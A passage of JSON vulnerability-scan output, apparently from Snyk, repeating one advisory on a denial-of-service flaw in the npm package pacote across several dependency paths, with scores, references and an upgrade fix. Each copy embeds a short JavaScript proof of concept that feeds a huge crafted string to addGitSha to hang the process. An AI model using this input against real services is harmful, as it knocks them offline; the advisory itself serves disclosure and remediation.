"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": 